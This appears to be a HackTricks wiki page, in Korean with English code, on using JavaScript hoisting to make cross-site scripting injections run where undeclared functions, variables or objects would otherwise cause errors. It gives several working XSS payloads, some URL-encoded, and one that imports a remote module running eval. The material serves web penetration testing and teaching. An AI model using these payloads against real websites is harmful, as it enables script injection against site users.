# JS Hoisting {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information JavaScript μ–Έμ–΄μ—μ„œ **Hoisting**으둜 μ•Œλ €μ§„ λ©”μ»€λ‹ˆμ¦˜μ€ λ³€μˆ˜, ν•¨μˆ˜, 클래슀 λ˜λŠ” μž„ν¬νŠΈμ˜ 선언이 μ½”λ“œκ°€ μ‹€ν–‰λ˜κΈ° 전에 κ°œλ…μ μœΌλ‘œ κ·Έ λ²”μœ„μ˜ 맨 μœ„λ‘œ μ˜¬λΌκ°€λŠ” 과정을 μ„€λͺ…ν•©λ‹ˆλ‹€. 이 과정은 JavaScript 엔진에 μ˜ν•΄ μžλ™μœΌλ‘œ μˆ˜ν–‰λ˜λ©°, 슀크립트λ₯Ό μ—¬λŸ¬ 번 ν†΅κ³Όν•˜λ©΄μ„œ μ§„ν–‰λ©λ‹ˆλ‹€. 첫 번째 톡과 λ™μ•ˆ, 엔진은 μ½”λ“œλ₯Ό ꡬ문 였λ₯˜λ₯Ό ν™•μΈν•˜κΈ° μœ„ν•΄ νŒŒμ‹±ν•˜κ³  이λ₯Ό 좔상 ꡬ문 트리둜 λ³€ν™˜ν•©λ‹ˆλ‹€. 이 λ‹¨κ³„μ—λŠ” νŠΉμ • 선언이 μ‹€ν–‰ μ»¨ν…μŠ€νŠΈμ˜ 맨 μœ„λ‘œ μ΄λ™ν•˜λŠ” hoisting이 ν¬ν•¨λ©λ‹ˆλ‹€. νŒŒμ‹± 단계가 μ„±κ³΅μ μœΌλ‘œ μ™„λ£Œλ˜λ©΄, 즉 ꡬ문 였λ₯˜κ°€ μ—†μŒμ„ λ‚˜νƒ€λ‚΄λ©΄, 슀크립트 싀행이 μ§„ν–‰λ©λ‹ˆλ‹€. 이해해야 ν•  μ€‘μš”ν•œ 점은: 1. μŠ€ν¬λ¦½νŠΈλŠ” 싀행이 λ°œμƒν•˜κΈ° μœ„ν•΄ ꡬ문 였λ₯˜κ°€ μ—†μ–΄μ•Ό ν•©λ‹ˆλ‹€. ꡬ문 κ·œμΉ™μ€ μ—„κ²©ν•˜κ²Œ μ€€μˆ˜λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. 2. 슀크립트 λ‚΄ μ½”λ“œμ˜ λ°°μΉ˜κ°€ hoisting으둜 인해 싀행에 영ν–₯을 λ―ΈμΉ˜μ§€λ§Œ, μ‹€ν–‰λœ μ½”λ“œλŠ” ν…μŠ€νŠΈ ν‘œν˜„κ³Ό λ‹€λ₯Ό 수 μžˆμŠ΅λ‹ˆλ‹€. #### Types of Hoisting MDN의 정보에 λ”°λ₯΄λ©΄, JavaScriptμ—λŠ” λ„€ 가지 λšœλ ·ν•œ μœ ν˜•μ˜ hoisting이 μžˆμŠ΅λ‹ˆλ‹€: 1. **Value Hoisting**: λ³€μˆ˜μ˜ μ„ μ–Έ 라인 이전에 ν•΄λ‹Ή λ³€μˆ˜μ˜ 값을 μ‚¬μš©ν•  수 있게 ν•©λ‹ˆλ‹€. 2. **Declaration Hoisting**: λ³€μˆ˜μ˜ μ„ μ–Έ 이전에 ν•΄λ‹Ή λ³€μˆ˜λ₯Ό μ°Έμ‘°ν•  수 있게 ν•˜λ©°, 이둜 인해 `ReferenceError`κ°€ λ°œμƒν•˜μ§€ μ•Šμ§€λ§Œ, λ³€μˆ˜μ˜ 값은 `undefined`κ°€ λ©λ‹ˆλ‹€. 3. 이 μœ ν˜•μ€ μ‹€μ œ μ„ μ–Έ 라인 이전에 λ³€μˆ˜μ˜ μ„ μ–ΈμœΌλ‘œ 인해 λ²”μœ„ λ‚΄ λ™μž‘μ„ λ³€κ²½ν•©λ‹ˆλ‹€. 4. μ„ μ–Έμ˜ λΆ€μž‘μš©μ€ 그것을 ν¬ν•¨ν•˜λŠ” λ‚˜λ¨Έμ§€ μ½”λ“œκ°€ ν‰κ°€λ˜κΈ° 전에 λ°œμƒν•©λ‹ˆλ‹€. μžμ„Ένžˆ μ„€λͺ…ν•˜μžλ©΄, ν•¨μˆ˜ 선언은 μœ ν˜• 1 hoisting λ™μž‘μ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€. `var` ν‚€μ›Œλ“œλŠ” μœ ν˜• 2 λ™μž‘μ„ λ³΄μ—¬μ€λ‹ˆλ‹€. `let`, `const`, 및 `class`λ₯Ό ν¬ν•¨ν•˜λŠ” λ ‰μ‹œμ»¬ 선언은 μœ ν˜• 3 λ™μž‘μ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€. λ§ˆμ§€λ§‰μœΌλ‘œ, `import` 문은 μœ ν˜• 1 및 μœ ν˜• 4 λ™μž‘μœΌλ‘œ hoistedλ˜λŠ” λ…νŠΉν•œ νŠΉμ„±μ„ 가지고 μžˆμŠ΅λ‹ˆλ‹€. ## Scenarios λ”°λΌμ„œ **μ„ μ–Έλ˜μ§€ μ•Šμ€ 객체**κ°€ μ‚¬μš©λœ 후에 **JS μ½”λ“œλ₯Ό μ£Όμž…ν•  수 μžˆλŠ” μ‹œλ‚˜λ¦¬μ˜€**κ°€ μžˆλ‹€λ©΄, 이λ₯Ό μ„ μ–Έν•˜μ—¬ **ꡬ문을 μˆ˜μ •**ν•  수 μžˆμŠ΅λ‹ˆλ‹€(κ·Έλž˜μ„œ 였λ₯˜λ₯Ό λ°œμƒμ‹œν‚€λŠ” λŒ€μ‹  μ½”λ“œκ°€ μ‹€ν–‰λ©λ‹ˆλ‹€): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesnΒ΄t exist // cannot be fixed if you can only inject after that code: test.cookie('leo','INJECTION') test['cookie','injection'] ``` ## 더 λ§Žμ€ μ‹œλ‚˜λ¦¬μ˜€ ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) // You can inject alert(1));function x(){}// // And execute the allert with (the alert is resolved before it's detected that the "y" is undefined x.y(1,alert(1));function x(){}//) ``` ```javascript // Undeclared var accessing 2 nested undeclared method x.y.z(1,INJECTION) // You can inject ");import {x} from "https://example.com/module.js"// // It will be executed x.y.z("alert(1)");import {x} from "https://example.com/module.js"//") // The imported module: // module.js var x = { y: { z: function(param) { eval(param); } } }; export { x }; ``` ```javascript // In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/ // It was injected the: let config;`-alert(1)`//` // With the goal of making in the block the var config be empty, so the return is not executed // And the same injection was replicated in the body URL to execute an alert try { if(config){ return; } // TODO handle missing config for: https://try-to-catch.glitch.me/"+` let config;`-alert(1)`//`+" } catch { fetch("/error", { method: "POST", body: { url:"https://try-to-catch.glitch.me/"+` let config;`-alert(1)-`//`+"" } }) } ``` ## References * [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) * [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) * [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}